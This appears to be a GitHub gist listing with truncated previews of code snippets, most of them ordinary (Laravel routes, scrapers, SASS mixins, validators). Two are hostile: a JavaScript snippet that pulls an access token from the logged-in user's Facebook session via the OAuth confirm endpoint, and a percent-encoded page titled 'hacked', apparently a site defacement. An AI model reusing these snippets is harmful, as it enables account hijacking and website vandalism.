This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Fix một số lỗi cơ bản khi đưa lên hosting | |
// do hosting không chạy được lệnh | |
// example.com/fix | |
Route::get('/fix', function() { | |
Artisan::call('cache:clear'); | |
Artisan::call('config:clear'); | |
Artisan::call('route:clear'); | |
Artisan::call('view:clear'); | |
Artisan::call('optimize'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const got = require('got') | |
const cheerio = require('cheerio') | |
let parseProductFromLink = (url) => { | |
url = encodeURI(url) | |
got(url) | |
.then(response => cheerio.load(response.body)) | |
.then($ => { | |
$('.pro-item .pro-img a').map((i, a) => | |
parseProductInfo($(a).attr('href')) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var url = "https://www.facebook.com/v1.0/dialog/oauth/confirm"; | |
var data = 'fb_dtsg=' + document['getElementsByName']('fb_dtsg')[0]['value'] + '&app_id=165907476854626&redirect_uri=fbconnect://success&display=popup&access_token=&sdk=&from_post=1&private=&tos=&login=&read=&write=&extended=&social_confirm=&confirm=&seen_scopes=&auth_type=&auth_token=&auth_nonce=&default_audience=&ref=Default&return_format=access_token&domain=&sso_device=ios&__CONFIRM__=1'; | |
var access_token = ""; | |
var xhr = new XMLHttpRequest; | |
xhr.open('POST', url, true); | |
xhr.onreadystatechange = function() { | |
if (xhr.readyState == XMLHttpRequest.DONE && xhr.status == 200) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
document.write(unescape('%3C%21%44%4F%43%54%59%50%45%20%68%74%6D%6C%3E%0A%3C%68%74%6D%6C%20%3E%0A%20%20%3C%68%65%61%64%3E%0A%20%20%20%20%3C%6D%65%74%61%20%63%68%61%72%73%65%74%3D%22%55%54%46%2D%38%22%3E%0A%20%20%20%20%3C%74%69%74%6C%65%3E%68%61%63%6B%65%64%3C%2F%74%69%74%6C%65%3E%0A%20%20%20%20%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%76%69%65%77%70%6F%72%74%22%20%63%6F%6E%74%65%6E%74%3D%22%77%69%64%74%68%3D%64%65%76%69%63%65%2D%77%69%64%74%68%2C%20%69%6E%69%74%69%61%6C%2D%73%63%61%6C%65%3D%31%2C%20%75%73%65%72%2D%73%63%61%6C%61%62%6C%65%3D%6E%6F%2C%20%6D%69%6E%69%6D%61%6C%2D%75%69%22%3E%0A%20%20%20%20%0A%20%20%20%20%3C%73%74%79%6C%65%3E%0A%20%20%20%20%20%20%40%69%6D%70%6F%72%74%20%75%72%6C%28%68%74%74%70%3A%2F%2F%66%6F%6E%74%73%2E%67%6F%6F%67%6C%65%61%70%69%73%2E%63%6F%6D%2F%63%73%73%3F%66%61%6D%69%6C%79%3D%56%54%33%32%33%29%3B%0A%20%20%20%20%20%20%68%74%6D%6C%2C%62%6F%64%79%2C%64%69%76%2C%73%70%61%6E%2C%61%70%70%6C%65%74%2C%6F%62%6A%65%63%74%2C%69%66%72%61%6D%65%2C%68%31%2C%68%32%2C%68%33%2C%68%34%2C%6 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@mixin breakpoint($point) | |
@if $point == lg | |
@media (min-width: 1200px) | |
@content | |
@else if $point == md | |
@media (min-width: 992px) and (max-width: 1199px) | |
@content | |
@else if $point == sm |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// app/Http/Controllers/Auth/AuthController.php | |
protected function validator(array $data) | |
{ | |
// Validator::make( array $data, array $rules, array $messages = array(), array $customAttributes = array()) | |
return Validator::make($data, [ | |
'name' => 'required|max:255', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import re | |
# Grab urls | |
r = requests.get("https://dazzlepod.com/ip/?ip_address=google.com"); | |
urls = re.findall('url:\ ?"(.+)\"', r.content) | |
urls.pop(0) | |
urls.pop(-1) | |
print "Found ", len(urls)," url" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// index.php?module=themgiohang&masanpham=1 | |
// quy luat | |
$_SESSION['giohang'] = [ | |
['masanpham' => 1, 'soluong' => 5], | |
['masanpham' => 2, 'soluong' => 1], | |
['masanpham' => 5, 'soluong' => 2], | |
['masanpham' => 100, 'soluong' => 1], |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$url = "http://vnreview.vn"; | |
$ch = curl_init(); | |
curl_setopt($ch, CURLOPT_URL, $url); | |
curl_setopt($ch, CURLOPT_REFERER, $url); | |
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"); | |
curl_setopt($ch, CURLOPT_HEADER, 0); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); |
NewerOlder